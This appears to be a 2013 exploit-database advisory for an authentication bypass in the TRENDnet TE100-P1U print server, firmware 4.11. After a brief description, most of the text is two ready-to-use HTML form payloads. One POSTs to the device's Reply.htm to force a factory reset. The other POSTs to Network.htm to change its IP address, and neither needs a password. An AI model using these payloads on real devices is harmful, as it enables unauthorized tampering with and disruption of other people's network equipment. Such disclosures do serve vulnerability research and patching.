06/24/2013

TRENDnet TE100-P1U Print Server Firmware 4.11 Authentication Bypass Vulnerability

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#
# Exploit Title: TRENDnet TE100-P1U Print Server Firmware 4.11  Authentication Bypass Vulnerability
# Date: 2013/6/20
# Exploit Author: Chako
# Firmware Version: 4.11
# Tested on: Windows 7
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Description:
=====================
A remote authentication bypass vulnerability affects TRENDnet TE100-P1U Print Server.
This issue is due to a failure of the application to validate authentication
credentials when processing print server configuration change requests.
An attacker could reset print server to factory sttings or changeing its IP address without
password security check.

Exploit:
=====================

1)Reset Print Server To Factory Settings

<form action="http://IP/Reply.htm"; method="POST">
<table border="0" cellpadding="3" cellspacing="0" width="100%">
<tbody><tr><td class="headerbg">Factory Reset</td></tr>
</tbody></table>
<table bgcolor="#FFFFFF" border="0" cellpadding="5" cellspacing="1" width="100%">
<tbody><tr><td height="50" bgcolor="#F0F0F0"> <span class="bluetextbold">Do you want to restore Print Server to factory default setting?</span></td></tr>
</tbody></table><br> 
<input name="Factory" value=" Yes " type="submit" width="60">
</form>



1)Change Print Server IP Address

<form action="http://IP/Network.htm"; method="POST">
<table border="0" cellpadding="3" cellspacing="0" width="100%">
<tbody><tr><td class="headerbg">Change IP Address</td></tr>
</tbody></table>
<table bgcolor="#FFFFFF" border="0" cellpadding="5" cellspacing="1" width="100%">
<tbody><tr>
<td class="bluetextbold" align="right" bgcolor="#C5CEDA" valign="top" width="150"> IP Address:</td>
<td bgcolor="#F0F0F0" valign="top">
<table border="0">
<tbody><tr><td>
  <input name="IP_ASSIGN" value="1" type="radio">Manually Assign
  <table border="0" cellpadding="3" cellspacing="0">
  <tbody><tr>
   <td width="20"></td><td>IP Address</td>
   <td>:  <input size="18" name="IP_Address" value="192.168.1.110" type="text"></td>
  </tr>
  <tr>
   <td></td><td>Subnet Mask</td>
   <td>:  <input size="18" name="Subnet_Mask" value="255.255.255.0" type="text"></td>
  </tr>
  <tr>
   <td></td><td>Default Gateway</td>
   <td>:  <input size="18" name="Default_Gateway" value="192.168.1.254" type="text"></td>
  </tr>
  </tbody></table>
</td></tr>

</tbody></table>
</td>
</tr>
</tbody></table>
<table border="0" cellpadding="5" cellspacing="1" width="100%">
<tbody><tr>
<td height="50" width="149"> </td>
<td width="355"> <input name="Config2" value=" Save " type="submit" width="80">  <input value="Cancel" type="reset" width="80"></td>
</tr>
</tbody></table>
</form>